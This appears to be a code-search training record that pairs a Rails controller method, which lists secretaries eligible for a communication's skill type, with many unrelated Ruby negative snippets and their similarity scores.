"def include?(date)\n unless date.instance_of?(Date)\n raise ArgumentError, \"Parameters must be of class Date\"\n end\n\n return date >= @start_date && date < @end_date\n end",
"def validate_version_range(version_range)\n SemanticPuppet::VersionRange.parse(version_range)\n rescue ArgumentError => e\n raise ArgumentError, \"Invalid 'version_range' field in metadata.json: #{e}\"\n end",
"def version_gte_81?\n version >= v81\n end",
"def conflicts_with_date?(date)\n date.between(self.start_date, self.end_date)\n end",
"def contains?(other)\n (other.begin_pos <=> @begin_pos) + (@end_pos <=> other.end_pos) >= (other.empty? ? 2 : 1)\n end",
"def is_a_3_dot_range?(range)\n\trange.exclude_end?\nend",
"def version_gte_72?\n version >= v72\n end",
"def version_gte_61?\n version >= v61\n end",
"def valid_version?(arg)\n return true if arg == false || arg == 'latest'\n arg =~ /^[0-9]+\\.[0-9]+\\.[0-9]+(-[0-9]+)?$/ ? true : false\n end",
"def ===(value)\r\n @range === value\r\n end",
"def include?(new_date)\n return start_date <= new_date && end_date > new_date\n end",
"def subsume?(other)\n range_within_other?(other,self)\n end",
"def open?\n (start_date..end_date).cover?(Date.current)\n end",
"def is_a_3_dot_range?(range)\n a = range.first\n b = range.last\n range != (a..b)\nend",
"def in_range?( answer_object )\n (@above.nil? or answer_object > @above) and\n (@below.nil? or answer_object < @below) and\n (@in.nil? or @in.include?(answer_object))\n end",
"def check_version(v)\n return true if (!version || version[0..4].gsub(\".\",\"\").to_i>=v)\n return false\n end",
"def ends_before_it_begins?\n end_on? && end_on <= start_on\n end",
"def overlap?(self_range, other_range)\n return true if self_range == other_range \n overlap_helper(self_range, other_range) || overlap_helper(other_range, self_range)\n end",
"def ==(other)\n return true if equal? other\n\n other.kind_of?(Range) and\n self.first == other.first and\n self.last == other.last and\n self.exclude_end? == other.exclude_end?\n \n end",
"def satisfied_by?(spec)\n return false unless requirement\n spec = ArtifactNamespace.to_hash(spec)\n hash = to_spec_hash\n hash.delete(:version)\n version = spec.delete(:version)\n hash == spec && requirement.satisfied_by?(version)\n end",
"def match?(obj, version=nil, allow_prerelease=false)\n if !version\n name = obj.name\n version = obj.version\n else\n name = obj\n end\n\n return false unless self.name === name\n\n version = Gem::Version.new version\n\n return true if requirement.none? and not version.prerelease?\n return false if version.prerelease? and\n not allow_prerelease and\n not prerelease?\n\n requirement.satisfied_by? version\n end",
"def requirement_satisfied_by?(requirement, activated, spec)\n requirement.constraint.satisfies?(spec.version)\n end",
"def version_gte_8?\n version >= v80\n end",
"def test_Range_InstanceMethods_eql?\n\t\tassert_equal(true , (1..10).eql?(Range.new(1,10)))\n\t\tassert_equal(false, (1..10).eql?([1..10]))\n\tend",
"def >=(other_list)\n return false if self.list.empty?\n return true if other_list.list.empty?\n\n return (\n self.min_item[1] >= other_list.min_item[1] &&\n self.max_item[1] >= other_list.max_item[1]\n )\n end",
"def version?(*v)\n v.any? { |v| version.index(v.to_s) == 0 }\n end",
"def in_ranges?(num, ranges)\n result = false\n ranges.each do |range|\n if range.include?(num)\n result = true\n end\n end\n return result\nend",
"def is_a_3_dot_range?(range)\n range.exclude_end?\nend"
] |
[
"0.6728251",
"0.6130454",
"0.6048944",
"0.60476685",
"0.60186523",
"0.6000444",
"0.59901667",
"0.59349054",
"0.5924388",
"0.5917354",
"0.5915489",
"0.5898391",
"0.5898391",
"0.5890496",
"0.5881358",
"0.58742887",
"0.5874032",
"0.5818609",
"0.57542723",
"0.5750041",
"0.569864",
"0.5676726",
"0.56578416",
"0.5650277",
"0.56433046",
"0.5627214",
"0.5619939",
"0.56103814",
"0.5601461",
"0.5601461",
"0.55969435",
"0.5594025",
"0.5588531",
"0.5587108",
"0.5536516",
"0.5528275",
"0.552683",
"0.5516349",
"0.54956806",
"0.54938745",
"0.5489865",
"0.54864776",
"0.54832333",
"0.5465412",
"0.546393",
"0.5456847",
"0.54168874",
"0.5389336",
"0.53864235",
"0.537098",
"0.536692",
"0.5365173",
"0.5364273",
"0.5359408",
"0.5354322",
"0.53484535",
"0.53471005",
"0.5341917",
"0.53324395",
"0.52952504",
"0.52926433",
"0.52913713",
"0.52749664",
"0.52613336",
"0.5248459",
"0.5223008",
"0.5222976",
"0.5222633",
"0.52049875",
"0.520252",
"0.519409",
"0.51896715",
"0.5187171",
"0.5187014",
"0.5179181",
"0.51744336",
"0.517418",
"0.5172512",
"0.51637423",
"0.5160936",
"0.51334995",
"0.512792",
"0.5126078",
"0.5119022",
"0.51152116",
"0.5103093",
"0.5098129",
"0.50936186",
"0.5090604",
"0.5086318",
"0.50790113",
"0.50783277",
"0.50718164",
"0.5071315",
"0.5068516",
"0.50637543",
"0.5060517",
"0.50584894",
"0.5057424",
"0.50570345"
] |
0.7289303
|
0
|
returns these dates in EPOCH TIME
|
def now
tzt.to_i
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def epoch_from_date(date)\n\tdate.to_time.to_i\nend",
"def epoch_time\n return time + epoch\n end",
"def epoch_now()\n Time.now.to_i\n end",
"def last_epoch_time; end",
"def epochday\n @line1[20...32].to_f\n end",
"def parse_date(number)\n EPOCH + number\n end",
"def epoch_from_jd(jd)\n\t86400.0*(jd - 2440587.5)\nend",
"def jd_from_epoch(t)\n\t(t / 86400.0) + 2440587.5\nend",
"def timestamp_to_date(timestamp)\n\t\tTime.at(timestamp/1000).utc #This is a time instance, it should go straight ot ruby\n\tend",
"def date()\n\t\t(@start_date.to_time + (10**9)).to_date\n\tend",
"def timestamp2date(t)\n Time.at(t.to_i).utc\nend",
"def date\n @date ||= Time.utc(*Gem.source_date_epoch.utc.to_a[3..5].reverse)\n end",
"def epoch_time(epoch)\n Time.at(epoch)\n end",
"def milis_from_1970\n self.day.to_time.to_i * 1000\n end",
"def to_f\n\t\tseconds_since_unix_epoch.to_f\n\tend",
"def to_time\n Time.at(CF.CFDateGetAbsoluteTime(self) + CF.kCFAbsoluteTimeIntervalSince1970)\n end",
"def to_epoch(dateOrTime)\n return dateOrTime.count('-') > 0 ? Integer(Date.iso8601(dateOrTime).strftime(\"%s\")) : Integer(dateOrTime)\nend",
"def timestamp \n\ttime = Time.new\n\t\"#{time.day}/#{time.month}/#{time.year}\"\nend",
"def to_time()\n #This is a stub, used for indexing\n end",
"def to_i\n\t\tseconds_since_unix_epoch.to_i\n\tend",
"def convert_epochs_to_dates\n if params['event']['start_date']\n params['event']['start_date'] = Time.zone.at(params['event']['start_date'].to_i / 1000)\n end\n if params['event']['end_date']\n params['event']['end_date'] = Time.zone.at(params['event']['end_date'].to_i / 1000)\n end\n end",
"def date_offset\n\t\ttime = Time.new.strftime(\"%d%m%y\").to_i\n\t\ttime_mult = time**2\n\t\ttime_mult = time_mult.to_s\n\t\ttime_offset = [time_mult[-1], time_mult[-2], time_mult[-3], time_mult[-4]].join\n\t\treturn time_offset\n\tend",
"def date_offset\n\t\ttime = Time.new.strftime(\"%d%m%y\").to_i\n\t\ttime_mult = time**2\n\t\ttime_mult = time_mult.to_s\n\t\ttime_offset = [time_mult[-1], time_mult[-2], time_mult[-3], time_mult[-4]].join\n\t\treturn time_offset\n\tend",
"def utc() end",
"def dates\n @datapoints.collect { |point| point[0] }\n end",
"def days_since_epoch\n self.day_of_year + (307 * year)\n end",
"def to_time\n ::Time.at(self.getTime/1000)\n end",
"def date\n (birthday.to_time + 10**9).to_date\n end",
"def timestamp\n time = Time.now.getutc\n\n secs = time.to_i\n millis = time.nsec/1000000\n\n return @last if @millis == millis && @secs == secs\n\n unless secs == @secs\n @secs = secs\n @date = time.strftime('%Y-%m-%d %H:%M:%S.')\n end\n\n @millis = millis\n @last = @date + \"00#{millis}\"[-3..-1]\n end",
"def epochyear\n 2000 + @line1[18...20].to_i\n end",
"def to_rd\n return EPOCH + 365*(@year-1) + 30*(@month-1) + @day - 1\n end",
"def creation_epoch\n saved_at.try(:to_i)\n end",
"def to_rd\n date = Egyptian.new(@year, @month, @day)\n return EPOCH + date.to_rd - Egyptian::EPOCH\n end",
"def to_a\n return [@t_year, @t_month, @t_day, @t_hour, @t_min, @t_sec, @t_usec]\n end",
"def date\n return @date if @date\n\n return Time.at(ENV['SOURCE_DATE_EPOCH'].to_i).gmtime if ENV['SOURCE_DATE_EPOCH']\n\n return File.mtime(path) if File.exist?(path)\n\n Time.now\n end",
"def to_toodle_date(secs)\n t = Time.at(secs).strftime(\"%Y-%m-%d 12:00:00 UTC\")\n Time.parse(t).to_i\n end",
"def unixtime\n Time.now.to_i.to_s\n end",
"def date\n\t\treturn Time.at( @date[0] )\n\tend",
"def epoch(t)\n if t.nil? then epoch(now)\n elsif ( t.is_a?(::Time) || t.is_a?(::Numeric) ) then t.to_i\n elsif t.is_a?(::DateTime) then epoch(to_time(t))\n elsif t.is_a?(::String) then epoch(from_string(t))\n else nil end\n end",
"def to_a\n [sec, min, hour, day, month, year, wday, yday, isdst, zone]\n end",
"def getutc() end",
"def to_a\n [ xnow, ynow ]\n end",
"def read_epoch_time(microseconds_since_epoch)\n Time.at(microseconds_since_epoch.to_i/1000)\n end",
"def timestamp\n (Time.now.to_f * 1000).ceil.to_s[-5..-1]\nend",
"def to_ms()\n time = Time.now\n start = Time.new(1970,1,1)\n ((time.to_f - start.to_f) * 1000.0).to_i\nend",
"def generation_time\n Time.at(data.unpack(\"N\")[0]).utc\n end",
"def generation_time\n Time.at(data.unpack(\"N\")[0]).utc\n end",
"def get_runtime_timestamps\n all_events = events.to_a\n start_time = DateTime.parse(all_events.first['timestamp'])\n completion_time = DateTime.parse(all_events.last['timestamp'])\n [start_time, completion_time]\n end",
"def months_since_epoch(date)\n ((EPOCH_YEAR - date.year).abs * 12) + (EPOCH_MONTH - date.month).abs\n end",
"def to_t\n date = Date.today\n Time.local(date.year,date.month,date.day,@hour,@min,@sec)\n end",
"def timestamp\n datetime.localtime.strftime \"%Y %d/%m %X\"\n end",
"def dmy_date(date)\n Time.gm(date.year, date.month, date.day)\n end",
"def creation_date\n time_frames = []\n (MULTIPLIER**2).times do |x|\n time_frames << midnight_tonight - ((x*3) + 1).month\n end\n date_range = (time_frames.sample..midnight_tonight)\n rand(date_range)\nend",
"def timestamp\n date.strftime(\"%Y%m%d%H%M%S\") \n end",
"def to_i\n seconds_since_unix_epoch.to_i\n end",
"def timestamps\n @timestamps ||= bytes[T_BYTES].each_slice(4).map do |t_bytes|\n ByteArray.to_i(t_bytes)\n end.reject{ |t| t == 0 }\n end",
"def timestamp\n _timestamp.as_time\n end",
"def to_binary_dos_time; end",
"def unix_time_range(date)\n range_start = Time.parse(date)\n range_end = range_start + DAY_IN_SECONDS\n [range_start.to_i, range_end.to_i]\n end",
"def timestamp\n ((Time.now.to_f - StartTime)*1000).round\n end",
"def get_unix_date_time_array\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/unixdatetime'\n _query_builder = APIHelper.append_url_with_query_parameters(\n _query_builder,\n 'array' => true\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n decoded.map { |element| DateTimeHelper.from_unix(element) }\n end",
"def get_datetimes(row)\n mm, dd, yyyy = get_date(row, \"Date\")\n start_hh, start_mm = get_time(row, \"Start Time\")\n end_hh, end_mm = get_time(row, \"End Time\")\n [Time.local(yyyy, mm, dd, start_hh, start_mm), Time.local(yyyy, mm, dd, end_hh, end_mm)]\nend",
"def timestamp\n @java.getTimestamp\n end",
"def get_timestamp\n timestamp = Time.now.gmtime \n timestamp = timestamp.strftime(\"%a, %d %b %Y %H:%M:%S GMT\")\n timestamp.to_s\n end",
"def extractDateList(start_date, end_date)\n obj_start=Date.new(start_date[0..3].to_i, start_date[4..5].to_i, start_date[6..7].to_i)\n obj_end=Date.new(end_date[0..3].to_i, end_date[4..5].to_i, end_date[6..7].to_i)\n date_num=(obj_end-obj_start+1).to_i\n date_array=Array.new\n date_num.times do |i|\n date_now=obj_start+i\n date_array << date_now.strftime(\"%Y%m%d\")\n end\n date_array\nend",
"def get_date()\n @time\n end",
"def get_timestamp\n # Appending integer timestamp including second decimals\n now = Time.now.to_f * 10\n return now.round.to_s\n end",
"def inizio_ora\n Time.new(self.year, self.month, self.day, self.hour)\n end",
"def date1904() @@date1904; end",
"def to_datetime\n ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400), 0)\n end",
"def usec_epoch(ts=Time.now)\n case ts\n when nil, \"\"\n (Time.now.to_f * 1_000_000).to_i\n when Time\n (ts.to_f * 1_000_000).to_i\n when SECS_1971..SECS_2100\n ts * 1_000_000\n when MILLI_SECS_1971..MILLI_SECS_2100\n ts * 1_000\n when MICRO_SECS_1971..MICRO_SECS_2100\n ts\n when NANO_SECS_1971..NANO_SECS_2100\n ts / 1_000\n else\n raise \"Unable to convert timestamp: #{ts} (class: #{ts.class})\"\n end\n end",
"def date\n (@birth_date.to_time + 1_000_000_000).to_date\n end",
"def to_datetime()\n #This is a stub, used for indexing\n end",
"def to_unix(time)\n month = zero(time.month)\n day = zero(time.day)\n hour = zero(time.hour)\n min = zero(time.min)\n year = time.year % 2000\n\n \"#{month}#{day}#{hour}#{min}#{year}\"\nend",
"def timestamp_to_time num\n Time.at(num / 1000.0 + AssumedTimezoneAdjust, num % 1000).utc\n end",
"def ntp_epoch_start\n @ntp_epoch_start ||= Time.parse(\"1858-11-17 00:00:00 UTC\")\nend",
"def timestamp\n Time.now.utc.to_i\n end",
"def datetime_timestamp\n return Date.parse(self.date).to_time\n end",
"def __evolve_date__\n map { |value| value.__evolve_date__ }\n end",
"def milliseconds()\n java.lang.System.currentTimeMillis\n end",
"def get_timestamp\n timestamp = Time.now.gmtime\n timestamp = timestamp.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n timestamp.to_s\n end",
"def inizio_giorno\n Time.new(self.year, self.month, self.day)\n end",
"def day_number_utc\n\t\tself.to_i / 86400\n\tend",
"def get_timestamp\n Time.now.utc.strftime(\"%b%d%Y\")\nend",
"def to_bson\n #----------\n Time.utc( self.year, self.month, self.day )\n end",
"def dates\n end",
"def to_a\n [@year, @month, @day, @hour, @min, @sec]\n end",
"def timestamp\n _timestamp.as_time\n end",
"def timestamp\n timestamp_to_datetime(static_data(\"timestamp\"))\n end",
"def to_r\n utc.to_r\n end",
"def to_time\n if @year >= 1970\n Time.gm(*to_a)\n else\n nil\n end\n end",
"def generate_daytime_distribution \n \n end",
"def fine_ora\n Time.new(self.year, self.month, self.day, self.hour, 59, 59)\n end",
"def to_a\n [time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]\n end",
"def date\n tt = Time.gm(*filename_base.scan(/\\d+/))\n\n def tt.to_s\n to_formatted_s(:short_date_with_year) + \" \" + to_formatted_s(:short_time)\n end\n\n tt\n\tend",
"def timestamp(now)\n (now - @start_time) * 1000\n end",
"def dated_pixels\n pixels.transpose.flatten.each_with_index.map do |pixel,i|\n [start_date + i, pixel]\n end\nend",
"def time_from_milli_epoch(num)\n Time.at(num/1000.0)\n end",
"def coord_date(i)\n (@timeline_date_start - i).abs.to_f / (@timeline_date_start.to_i - @timeline_date_end).abs.to_f * @width\nend",
"def timestamp\n DateTime.now.strftime(\"%Y%m%d%H%M%S\")\n end",
"def return_random_run_start_time(date = Date.current)\n\t\tDateTime.new(date.year, date.month, date.day, rand(14..19), rand(0..59), 0).localtime\n\tend"
] |
[
"0.6863598",
"0.67042524",
"0.6690243",
"0.64514947",
"0.638965",
"0.6343367",
"0.6325309",
"0.6278664",
"0.62366605",
"0.6153587",
"0.61094064",
"0.6105131",
"0.60223585",
"0.5977445",
"0.5949432",
"0.5912672",
"0.587298",
"0.5781985",
"0.57798475",
"0.57548463",
"0.5728489",
"0.57042485",
"0.57042485",
"0.56951225",
"0.5690504",
"0.5663368",
"0.5660415",
"0.56462073",
"0.5639099",
"0.5609088",
"0.56053436",
"0.5600603",
"0.5589621",
"0.55753607",
"0.5564447",
"0.5555311",
"0.5551487",
"0.555114",
"0.5537743",
"0.5531866",
"0.5524799",
"0.5524599",
"0.5519819",
"0.55097693",
"0.5506582",
"0.55035496",
"0.55035496",
"0.5498916",
"0.5490336",
"0.5489792",
"0.54878604",
"0.5486517",
"0.5475275",
"0.54724807",
"0.54686713",
"0.5464852",
"0.545321",
"0.5452571",
"0.5447985",
"0.54453146",
"0.54384243",
"0.543483",
"0.54204947",
"0.53934765",
"0.5378757",
"0.5374741",
"0.5360386",
"0.53567976",
"0.5356284",
"0.5352579",
"0.5344461",
"0.5342825",
"0.53255063",
"0.53193414",
"0.5301421",
"0.52989167",
"0.5297916",
"0.52920246",
"0.52887785",
"0.52800906",
"0.52776736",
"0.5277303",
"0.5269331",
"0.52637094",
"0.5258394",
"0.5257365",
"0.52556795",
"0.5249171",
"0.5243781",
"0.52396894",
"0.5235609",
"0.52288634",
"0.5228124",
"0.52233994",
"0.5221702",
"0.5220515",
"0.52130723",
"0.52116495",
"0.519866",
"0.51924837",
"0.5191998"
] |
0.0
|
-1
|
Below code is used in manager portal page for assignning and unassigning the skill to secretaries
|
def eligible_secretaries
comm = Communication.find(params[:commID].to_i, :include => [:receiver => [:service_provider_employee_mappings => [:skills, :service_provider]]])
providers = []
comm.receiver.service_provider_employee_mappings.each do|p|
p.skills.each do|s|
if s.skill_type_id == params[:skillID].to_i
providers << p.service_provider
break
end
end
end
@eligible_secretaries = providers
render :partial => "eligible_secretaries"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_skill\n @skill = policy_scope(Skill).find(params[:id])\n authorize(@skill)\n end",
"def set_learnable_skill\n @learnable_skill = LearnableSkill.find(params[:id])\n end",
"def setup_change_skill\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n skill = $data_skills[@acts[1]]\n return unless skill\n self.item_in_use = copy(skill)\n end",
"def set_desired_skill\n @desired_skill = DesiredSkill.find(params[:id])\n end",
"def pick_skills_for_lilly\n assigned_skills = []\n unassigned_skills = []\n unless params[:sp_id].nil? or params[:sp_id].blank?\n assigned_skills = ServiceProvider.find(params[:sp_id]).skills.collect {|e| e.skill}\n unassigned_skills = Physical::Liviaservices::SkillType.find(:all).find_all {|e| !assigned_skills.include?(e)}\n end\n\t\tsp_list = ServiceProvider.find(:all)\n sp_id = params[:sp_id]\n\t\trender :partial => \"assign_skill\", :locals=> {:sp_list=>sp_list, :sp_id=>sp_id, :assigned_skills=>assigned_skills,:unassigned_skills=>unassigned_skills}\n\tend",
"def set_special_skill\n @special_skill = SpecialSkill.find(params[:id])\n end",
"def set_skill\n @skill = Skill.friendly.find(params[:id])\n end",
"def authorize_admin_manage_skills\n unless current_user.permission.manage_skills\n redirect_back fallback_location: root_path\n end\n end",
"def set_exceller_skill\n @exceller_skill = ExcellerSkill.find(params[:id])\n end",
"def guard_skill_id\r\n return 2\r\n end",
"def set_skill\n @skill = @character.skills.find(params[:id])\n end",
"def remove(skillName)\n\n end",
"def phase3_command_skill\r\n # Set action\r\n @active_battler.current_action.kind = 1\r\n # Start skill selection\r\n start_skill_select\r\n end",
"def set_skill\n @skill = Skill.all.find(params[:id])\n end",
"def adventuring() skill(:adventuring) end",
"def set_new_skill\n @new_skill = NewSkill.find(params[:id])\n end",
"def set_skill\n @skill = Skill.find(params[:id])\n end",
"def key_skill; end",
"def set_enemy_action(action)\r\n if action\r\n set_skill(action.skill_id)\r\n else\r\n clear\r\n end\r\n end",
"def give_power\n self.role = \"admin\"\n self.save\n end",
"def set_skill\n @skill = @project.skills.find(params[:skillId])\n end",
"def set_skill(skill_id)\n @kind = 1\n @skill_id = skill_id\n end",
"def set_skill\n @skill = Skill.find(params[:id])\n end",
"def set_skill\n @skill = Skill.find(params[:id])\n end",
"def set_skill\n @skill = Skill.find(params[:id])\n end",
"def set_skill\n @skill = Skill.find(params[:id])\n end",
"def set_skill\n @skill = Skill.find(params[:id])\n end",
"def set_skill\n @skill = Skill.find(params[:id])\n end",
"def set_skill\n @skill = Skill.find(params[:id])\n end",
"def attack_skill_id\r\n return 1\r\n end",
"def set_skill\n @skill = Skill.find_by_id(params[:id])\n end",
"def add_skill_to_sequence(battler) \n if battler.actor?\n @enemies_skill_sequence.clear\n if battler.current_action.kind == 1\n squence_skill = $data_skills[battler.current_action.skill_id]\n return if squence_skill.nil?\n @actors_skill_sequence << squence_skill.id\n unless No_Sequence_Skills.include?(squence_skill.id)\n @actors_element_sequence << squence_skill.element_set.first\n else\n @actors_element_sequence << nil\n end\n elsif battler.current_action.kind != 1\n @actors_skill_sequence.clear\n @actors_element_sequence.clear\n end\n else\n @actors_skill_sequence.clear\n if battler.current_action.kind == 1\n squence_skill = $data_skills[battler.current_action.skill_id]\n return if squence_skill.nil?\n @enemies_skill_sequence << squence_skill.id\n unless No_Sequence_Skills.include?(squence_skill.id)\n @enemies_element_sequence << squence_skill.element_set.first\n else\n @enemies_element_sequence << nil\n end\n elsif battler.current_action.kind != 1\n @enemies_skill_sequence.clear\n @enemies_element_sequence.clear \n end\n end\n check_sequence_match(battler)\n end",
"def set_myskill\n @myskill = Myskill.find(params[:id])\n end",
"def setSkill _obj, _args\n \"_obj setSkill _args;\" \n end",
"def setSkill _obj, _args\n \"_obj setSkill _args;\" \n end",
"def command_use_point\r\r\n if $game_actors[@actor.id].skill_tree[0] == 0 || confirm_skill_add\r\r\n Sound.play_buzzer\r\r\n @confirm.close\r\r\n @confirm.active = false\r\r\n else\r\r\n @skills_icons[@skill_selected].opacity = 255\r\r\n $game_actors[@actor.id].skill_tree[0] -= 1\r\r\n $game_actors[@actor.id].lose_jp(Actor[@actor.id][@skill_selected]['JP'])\r\r\n $game_actors[@actor.id].skill_mult[Actor[@actor.id][@skill_selected]['Skill_id']] += Actor[@actor.id][@skill_selected]['Multiply']\r\r\n $game_actors[@actor.id].skill_tree[Actor[@actor.id][@skill_selected]['Skill_id']] += 1\r\r\n $game_actors[@actor.id].learn_skill(Actor[@actor.id][@skill_selected]['Skill_id'])\r\r\n @info_window.refresh(@actor, @tree)\r\r\n Audio.se_play(\"Audio/SE/Skill3\",75,100)\r\r\n @confirm.close\r\r\n @confirm.active = false\r\r\n if $game_switches[19] # achievement available?\r\r\n #------------------------------------------------------------------------------- \r\r\n # Trophic: Markspony\r\r\n #-------------------------------------------------------------------------------\r\r\n earn_trophic = true\r\r\n for i in 546..561\r\r\n if !$game_actors[@actor.id].skill_learned?(i) && !$ACH_markspony\r\r\n earn_trophic = false\r\r\n break\r\r\n end\r\r\n end\r\r\n \r\r\n if earn_trophic && !$ACH_markspony\r\r\n $ACH_markspony = true\r\r\n GameJolt.award_trophy(\"53491\")\r\r\n p sprintf(\"Achievement unlock - markspony\")\r\r\n $game_system.earn_achievement(:markspony)\r\r\n end\r\r\n #------------------------------------------------------------------------------- \r\r\n # Trophic: Elementalist\r\r\n #------------------------------------------------------------------------------- \r\r\n earn_trophic = true\r\r\n for i in 563..582\r\r\n next if i == 567 || i == 571 || i == 577 || i == 581 \r\r\n if !$game_actors[@actor.id].skill_learned?(i) && !$ACH_elementalist\r\r\n earn_trophic = false\r\r\n break\r\r\n end\r\r\n end\r\r\n \r\r\n if earn_trophic && !$ACH_elementalist\r\r\n $ACH_elementalist = true\r\r\n GameJolt.award_trophy(\"53485\") \r\r\n p sprintf(\"Achievement unlock - elementalist\")\r\r\n $game_system.earn_achievement(:elementalist)\r\r\n end\r\r\n #---------------------------------------------------\r\r\n end\r\r\n end\r\r\n end",
"def set_skillset\n @skillset = Skillset.find(params[:id])\n end",
"def set_skill_list\n @skill_list = SkillList.find(params[:id])\n end",
"def skill_params\n params.permit(:name, :assignee_id, :assignee_name, :user_id) #.require(:skill) figure out what this does\n end",
"def set_skill_name\n @skill_name = SkillName.find(params[:id])\n end",
"def on_skill_ok\n @skill = @skill_window.item\n BattleManager.actor.input.set_skill(@skill.id)\n action = BattleManager.actor.input\n BattleManager.actor.last_skill.object = @skill\n if @skill.target_type[0] == :one then select_target_selection\n else\n case @skill.target_type[0]\n when :all\n BattleManager.actor.input.set = SES::TargetManager.make_targets(action)\n when :rand\n targets, set = [], SES::TargetManager.make_targets(action)\n (@skill.target_type[1][0] + rand(@skill.target_type[1][1])).times do\n targets << set[rand(set.size)]\n end\n BattleManager.actor.input.set = set\n end\n @skill_window.hide\n next_command\n end\n end",
"def chooseBestSkill(context, pur, weapon_type, prop)\n p \"choose best skill for #{pur}/#{weapon_type} by #{prop}\"\n # p \"skills #{context[:skills]}(size=#{context[:skills].size})}\"\n attacker_skills = context[:skills]\n \n best_skill = {\n :skill => nil\n }\n best_skill[prop] = 0\n reg2 = Regexp.new(\"#{pur}\", true)\n if (weapon_type and weapon_type.length >0)\n reg = Regexp.new(\"#{weapon_type}\", true)\n else\n reg = /./i\n end\n p \"==>1#{attacker_skills.inspect}\"\n for skill in attacker_skills\n if (!skill || skill.category=='premier')\n next\n end\n skillname = skill.query_data(\"skname\")\n p \"===>skill = #{skill}\"\n p \"===>skill name =#{skillname}\"\n #context[:thisskill] = skill\n# purpose = query_skill(skillname, \"for\", skill, context)\n\n purpose = skill.for # usage: attack parry ...\n type = skill.type # skill type: unarmed, fencing, daofa...\n \n # if skill is for attacking and has correct type with weapon\n if type=~ reg and purpose=~reg2 \n # ret = query_skill(skillname, prop, skill, context)\n # ret = skill.query(prop, context)\n ret = skill_power(skill, context[:user], pur)\n p \"===>#{prop} of #{skillname}: #{ret} \\n\"\n if (ret.to_i > best_skill[prop])\n best_skill[prop] = ret\n best_skill[:skill] = skill\n end\n end\n\n \n #p \"target:\"+@target_class+\", cmd:\"+@cmd+\", param:\"+@cparam\n end\n if ( best_skill[:skill] == nil)\n #if not found, add basic skill for this type of skill\n _skname = weapon_type\n if (pur == 'dodge')\n _skname = 'dodge'\n elsif (pur == 'parry')\n _skname = 'parry'\n end\n if _skname == nil or _skname==\"\"\n raise \"skill name is nil\"\n end\n # us = Userskill.new({\n # :uid => context[:user][:id],\n # :sid => context[:user][:sid],\n # :skid => 0,\n # :skname => _skname,\n # :skdname => \"basic #{weapon_type}\",\n # :level => 0,\n # :tp => 0,\n # :enabled => 1 \n # })\n # us.save!\n us = context[:user].set_skill(_skname, 0, 0)\n attacker_skills.push(us)\n best_skill[:skill] = us\n end\n p \"==>best skill of #{context[:user].name} for #{pur}, skill_type #{weapon_type}: #{best_skill}\"\n return best_skill\n end",
"def check_special_skills(ch, targets, skill)\n # if Tons of Add-ons is being used\n if $tons_version != nil && $tons_version >= 6.4\n # if using absorbing skills\n if $game_system.ABSORB_HP_SP\n # set damage accumulation to 0\n damages = 0\n # if skill absorbs HP\n if SKILL_IDS_HP.include?(skill.id)\n # for each target\n targets.each {|target|\n # if damage was done\n if target.battler.damage.is_a?(Numeric)\n # accumulate damage\n damages += target.battler.damage\n end}\n # change battler HP\n ch.battler.hp += damages\n # request damage sprite\n $BlizzABS.util.request_damage_sprite(ch)\n # if skill absorbs SP\n elsif SKILL_IDS_SP.include?(skill.id)\n # for each target\n targets.each {|target|\n # if damage was done\n if target.battler.damage.is_a?(Numeric)\n # accumulate damage\n damages += target.battler.spdamage\n # remove damage\n target.battler.damage = nil\n # make SP damage text\n target.check_spdamage\n end}\n # change battler SP\n ch.battler.sp += damages\n # request damage sprite\n $BlizzABS.util.request_damage_sprite(ch)\n end\n end\n # if using Destructor Skill and battler should die\n if $game_system.DESTRUCTOR_SKILL && ch.battler.set_to_die\n # kill\n ch.battler.hp = 0\n end\n # if using Blus Magic Skills\n if $game_system.BLUE_MAGIC_SKILL && BLUE_MAGIC_IDS.include?(skill.id)\n # remove damage for all targets\n targets.each {|target| target.battler.damage = nil}\n # get a random target\n target = targets[rand(targets.size)]\n # try to learn\n if rand(100) < skill.hit\n # if enemy\n if target.battler.is_a?(Game_Enemy)\n # initialize array\n ids = []\n # get all skill IDs of the target\n target.battler.actions.each {|act|\n ids.push(act.skill_id) if act.kind == 1}\n # if actor\n elsif target.battler.is_a?(Game_Actor)\n # get all skill IDs of the target\n ids = target.battler.skills.clone\n end\n # if any ID exists\n if ids.size > 0\n # get skill\n newskill = $data_skills[ids[rand(ids.size)]]\n # if already knowing that skill\n if ch.battler.skills.include?(newskill.id)\n # make damage text\n target.battler.damage = \"#{newskill.name} known\"\n else\n # learn skill\n target.battler.learn_skill(newskill.id)\n # make damage text\n target.battler.damage = \"#{newskill.name} learned\"\n end\n else\n # no skills available\n target.battler.damage = 'None available'\n end\n else\n # not successful\n target.battler.damage = 'Miss'\n end\n end\n end\n end",
"def set_user_skill\n @user_skill = UserSkill.find(params[:id])\n end",
"def assign_lawyer\n sp_session = current_service_provider_session\n employee = Employee.find(params[:employee_id],:include=>[:user=>[:service_provider_employee_mappings]])\n service_session = Physical::Liviaservices::ServiceSession.create(:employee_user_id =>employee.user.id,\n :sp_session => sp_session,\n :session_start => Time.now ,\n :company_id => current_user.company_id)\n session[:service_session] = service_session.id\n assignment_user = employee.user\n lawyer = assignment_user\n lawyer.verified_lawyer\n session[:verified_lawyer_id] = assignment_user.id\n current_user.verified_lawyer_id_by_secretary = assignment_user.id\n sp_id= employee.user.nil? ? \"\" : employee.user.service_provider_employee_mappings.blank? ? \"\" : employee.user.service_provider_employee_mappings.first.service_provider_id\n redirect_to new_communication_path(:service_provider_id=>sp_id,:call_id=>params[:call_id])\n end",
"def subtract(skillName, user, skillpoint)\n\n end",
